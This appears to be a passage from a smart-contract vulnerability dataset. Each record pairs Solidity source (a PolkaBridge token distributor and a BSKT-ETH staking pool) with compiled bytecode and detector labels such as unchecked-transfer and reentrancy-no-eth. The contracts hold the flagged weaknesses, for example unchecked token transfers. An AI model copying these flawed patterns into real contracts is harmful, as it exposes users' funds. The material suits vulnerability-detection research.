5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611eb8578181015183820152602001611ea0565b506000838581611f5657fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611f945750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611fd25760008555612018565b82601f10611feb57805160ff1916838001178555612018565b82800160010185558215612018579182015b82811115612018578251825591602001919060010190611ffd565b50612024929150612049565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b80821115612024576000815560010161204a56fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122042d613be6e3a02fe17c0d7be989a2adfbd1c498a58a82ef65db2b1803e6a571264736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
488
0x936dB0701c9e9c108DF90eFA0CF3b433DAc00ACc
pragma solidity >=0.6.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferWithoutDeflationary(address recipient, uint256 amount) external returns (bool) ; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal virtual { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract DistributeToken is Ownable { string public name = "PolkaBridge: Distribute Token"; using SafeERC20 for IERC20; IERC20 token; constructor(IERC20 _tokenAddress) public { token = _tokenAddress; } function changeTokenContract(IERC20 tokenContract) public onlyOwner { token = tokenContract; } function distributeToken( address[] memory listUser, uint256[] memory listAmount ) public onlyOwner { for (uint256 i = 0; i < listUser.length; i++) { token.transfer(listUser[i], listAmount[i]); } } function withdrawToken() public { token.transfer(owner(), token.balanceOf(address(this))); } receive() external payable {} }
0x60806040526004361061007f5760003560e01c80638da5cb5b1161004e5780638da5cb5b146102dc5780638f32d59b14610333578063ca628c7814610362578063f2fde38b1461037957610086565b806306fdde031461008b578063523aee691461011b578063659de63b1461016c578063715018a6146102c557610086565b3661008657005b600080fd5b34801561009757600080fd5b506100a06103ca565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100e05780820151818401526020810190506100c5565b50505050905090810190601f16801561010d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561012757600080fd5b5061016a6004803603602081101561013e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610468565b005b34801561017857600080fd5b506102c36004803603604081101561018f57600080fd5b81019080803590602001906401000000008111156101ac57600080fd5b8201836020820111156101be57600080fd5b803590602001918460208302840111640100000000831117156101e057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561024057600080fd5b82018360208201111561025257600080fd5b8035906020019184602083028401116401000000008311171561027457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610526565b005b3480156102d157600080fd5b506102da6106cc565b005b3480156102e857600080fd5b506102f1610805565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561033f57600080fd5b5061034861082e565b604051808215151515815260200191505060405180910390f35b34801561036e57600080fd5b5061037761088c565b005b34801561038557600080fd5b506103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a53565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104605780601f1061043557610100808354040283529160200191610460565b820191906000526020600020905b81548152906001019060200180831161044357829003601f168201915b505050505081565b61047061082e565b6104e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61052e61082e565b6105a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008090505b82518110156106c757600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8483815181106105f957fe5b602002602001015184848151811061060d57fe5b60200260200101516040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561067e57600080fd5b505af1158015610692573d6000803e3d6000fd5b505050506040513d60208110156106a857600080fd5b81019080805190602001909291905050505080806001019150506105a6565b505050565b6106d461082e565b610746576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610870610ad9565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6108d2610805565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561097157600080fd5b505afa158015610985573d6000803e3d6000fd5b505050506040513d602081101561099b57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1557600080fd5b505af1158015610a29573d6000803e3d6000fd5b505050506040513d6020811015610a3f57600080fd5b810190808051906020019092919050505050565b610a5b61082e565b610acd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610ad681610ae1565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610c266026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212207aeef0845888140d7c08b6b47962b7a95b0397c579ef83e1449c3007ea9ca41764736f6c63430006010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
489
0x9fa6bd7c0250231b746c7adbfd039ce73c847a6d
pragma solidity 0.5.17; contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Context { constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call.value(amount)(""); require( success, "Address: unable to send value, recipient may have reverted" ); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } contract LPTokenWrapper is Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public BSKTETHLPToken = IERC20(0x1d470e0e3DFfbbA05E4F56541416a69574675889); // Uniswap V2 - Approve and Transfer BSKT-ETH-LP Token for stake uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) nonReentrant public { _totalSupply = _totalSupply.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); BSKTETHLPToken.safeTransferFrom(_msgSender(), address(this), amount); // must required approved token } function withdraw(uint256 amount) nonReentrant public { _totalSupply = _totalSupply.sub(amount); _balances[_msgSender()] = _balances[_msgSender()].sub(amount); BSKTETHLPToken.safeTransfer(_msgSender(), amount); } } contract BsktEthLPPool is LPTokenWrapper { IERC20 public BSKTREWARD = IERC20(0xC03841B5135600312707d39Eb2aF0D2aD5d51A91); // Basket token address, distribute token as reward uint256 public constant duration = 100 days; //-----| Pool Duration |----- uint256 public starttime = 0; //-----| Pool will start once notify the reward |----- uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; bool firstNotify; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; mapping(address => bool) public minimumBsktStakingEntry; event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event Rewarded(address indexed from, address indexed to, uint256 value); modifier checkStart() { require( block.timestamp >= starttime, "Error:Pool not started yet." ); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } // Utility function to calculate function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } // Reward rate function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } // Check earned reward till now function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // Stake UNI-V2-LP ( ETH-BSKT Pair ) token function stake(uint256 amount) public updateReward(_msgSender()) checkStart { require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(_msgSender(), amount); } // withdraw UNI-V2-LP ( ETH-BSKT Pair ) token function withdraw(uint256 amount) public updateReward(_msgSender()) { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(_msgSender(), amount); } // Withdraw staked lp token and earned reward immediately function exit() external { withdraw(balanceOf(_msgSender())); getReward(); } // Withdraw earned reward function getReward() public nonReentrant updateReward(_msgSender()){ uint256 reward = earned(_msgSender()); if (reward > 0) { rewards[_msgSender()] = 0; BSKTREWARD.safeTransfer(_msgSender(), reward); emit Rewarded(address(this), _msgSender(), reward); } } // Notify reward set for duration function notifyRewardRate(uint256 _reward) public updateReward(address(0)) onlyOwner{ require(!firstNotify, "Error : Notify rewards allowed once only"); rewardRate = _reward.div(duration); lastUpdateTime = block.timestamp; starttime = block.timestamp; periodFinish = block.timestamp.add(duration); firstNotify = true; } }
0x608060405234801561001057600080fd5b50600436106101725760003560e01c80637b0a47ee116100de578063a694fc3a11610097578063df136d6511610071578063df136d65146105a3578063e9fad8ee146105c1578063ebe2b12b146105cb578063f2fde38b146105e957610172565b8063a694fc3a14610539578063c8f33c9114610567578063cd3daf9d1461058557610172565b80637b0a47ee1461041b57806380faa57d146104395780638b876347146104575780638da58897146104af5780638da5cb5b146104cd5780638f32d59b1461051757610172565b80631dba6d15116101305780631dba6d15146103095780632e1a7d4d146103535780633d18b912146103815780634041ef411461038b57806370a08231146103b9578063715018a61461041157610172565b80628cc2621461017757806304fe2cfd146101cf5780630700037d146102195780630e51c286146102715780630fb5a6b4146102cd57806318160ddd146102eb575b600080fd5b6101b96004803603602081101561018d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061062d565b6040518082815260200191505060405180910390f35b6101d7610714565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61025b6004803603602081101561022f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061073a565b6040518082815260200191505060405180910390f35b6102b36004803603602081101561028757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610752565b604051808215151515815260200191505060405180910390f35b6102d5610772565b6040518082815260200191505060405180910390f35b6102f3610779565b6040518082815260200191505060405180910390f35b610311610783565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61037f6004803603602081101561036957600080fd5b81019080803590602001909291905050506107a9565b005b61038961096c565b005b6103b7600480360360208110156103a157600080fd5b8101908080359060200190929190505050610c0d565b005b6103fb600480360360208110156103cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e37565b6040518082815260200191505060405180910390f35b610419610e80565b005b610423610fb9565b6040518082815260200191505060405180910390f35b610441610fbf565b6040518082815260200191505060405180910390f35b6104996004803603602081101561046d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd2565b6040518082815260200191505060405180910390f35b6104b7610fea565b6040518082815260200191505060405180910390f35b6104d5610ff0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61051f611019565b604051808215151515815260200191505060405180910390f35b6105656004803603602081101561054f57600080fd5b8101908080359060200190929190505050611077565b005b61056f6112b2565b6040518082815260200191505060405180910390f35b61058d6112b8565b6040518082815260200191505060405180910390f35b6105ab611350565b6040518082815260200191505060405180910390f35b6105c9611356565b005b6105d3611378565b6040518082815260200191505060405180910390f35b61062b600480360360208110156105ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061137e565b005b600061070d600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106ff670de0b6b3a76400006106f16106da600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106cc6112b8565b61140490919063ffffffff16565b6106e388610e37565b61144e90919063ffffffff16565b6114d490919063ffffffff16565b61151e90919063ffffffff16565b9050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915090505481565b600e6020528060005260406000206000915054906101000a900460ff1681565b6283d60081565b6000600354905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107b16115a6565b6107b96112b8565b600a819055506107c7610fbf565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146108945761080a8161062d565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000821161090a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b610913826115ae565b61091b6115a6565b73ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5836040518082815260200191505060405180910390a25050565b600260015414156109e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60026001819055506109f56115a6565b6109fd6112b8565b600a81905550610a0b610fbf565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610ad857610a4e8161062d565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610aea610ae56115a6565b61062d565b90506000811115610c02576000600d6000610b036115a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b95610b4c6115a6565b82600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661174b9092919063ffffffff16565b610b9d6115a6565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f6876a213a761d9b4f8d7ba3609528ef85da671684271f75fdacb41be8db29f45836040518082815260200191505060405180910390a35b505060018081905550565b6000610c176112b8565b600a81905550610c25610fbf565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610cf257610c688161062d565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673fffffff